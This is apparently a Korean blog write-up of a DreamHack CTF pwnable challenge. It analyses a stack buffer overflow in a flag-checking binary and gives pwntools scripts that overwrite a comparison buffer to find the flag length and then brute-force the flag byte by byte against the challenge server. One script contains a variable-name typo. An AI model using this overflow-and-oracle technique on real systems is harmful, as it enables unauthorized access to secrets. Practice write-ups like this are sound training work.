코드분석
IDA로 열어보자


- v5가 flag값을 받으면 그 값을 v6에 옮기고 fgets함수를 통해 그 값을 v11에 넘긴다
- what's the flag 문구 뒤 read함수를 통해 v10은 0xc8만큼 입력 받음 => BOF
- v11이 v7보다 크고 v10과 v11의 문자열이 같게 되면 correct!가 출력되고 그렇지 않으면 failed가 출력된다
- v10과 v11은 0x40만큼 떨어져있음
정리하면 BOF를 통해 v11을 덮으면서 v10의 값을 조금씩 변화시키면 flag값을 유추할 수 있음
익스플로잇
flag의 길이를 먼저 알아보자
from pwn import*
for i in range(63):
print(i)
p = remote("host3.dreamhack.games", 11565)
payload = b'A'*(63-i)+b'\x00'+b'A'*i+b'A'*(63-i)
p.sendafter("What's the flag? ", payload)
msg = p.recvline()
if b'Correct' in msg:
print("pass")
else:
print("not pass")
p.close()
v10과 v11을 A로 덮는데 A의 길이를 점점 줄이면 v11은 flag값이 나온다
failed가 나오게 되면 flag의 길이를 구할 수 있게 된다

48번째부터 not pass 나옴 => 플래그의 길이는 16
익스플로잇코드를 짜자
from pwn import*
flag = b''
for i in range(16):
for j in range(0x20, 0x7f):
# p = process("./checkflag")
p = remote("host3.dreamhack.games", 11565)
payload = b'A'*(15-i)
payload += bytes([j])
paylaod += flag
payload += b'\x00' * (0x40 - len(payload))
payload += b'A'*(15-i)
p.sendafter("What's the flag? ", payload)
if b'Correct' in p.recvline():
flag = bytes([j])+flag
print(flag)
p.close()
break
else:
p.close()
flag에서 16번째 글자를 구하고 싶으면 v11,v10모두 15번째글자까지는 A로 채우고 v10의 16번째 값을 0x20 ~ 0x7e랑 비교한다
correct가 나오면 16번째 문자를 구한 것 !
그 다음 15번째 문자를 구하려면 14번째글자까지 A로 채우고 v10의 15번째 문자에도 0x20~ 0x7e의 ascii code를 넣어서 비교한다

flag가 나온다
'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] cpp_string Write-up (0) | 2024.04.07 |
|---|---|
| [DreamHack] environ Write-up (0) | 2024.04.07 |
| [Dreamhack] blindsc Write-up (0) | 2024.03.31 |
| [DreamHack] Bypass IO_validate_vtable Write-up (0) | 2024.03.31 |
| [DreamHack] _IO_FILE Arbitrary Address Write Write-up (0) | 2024.03.30 |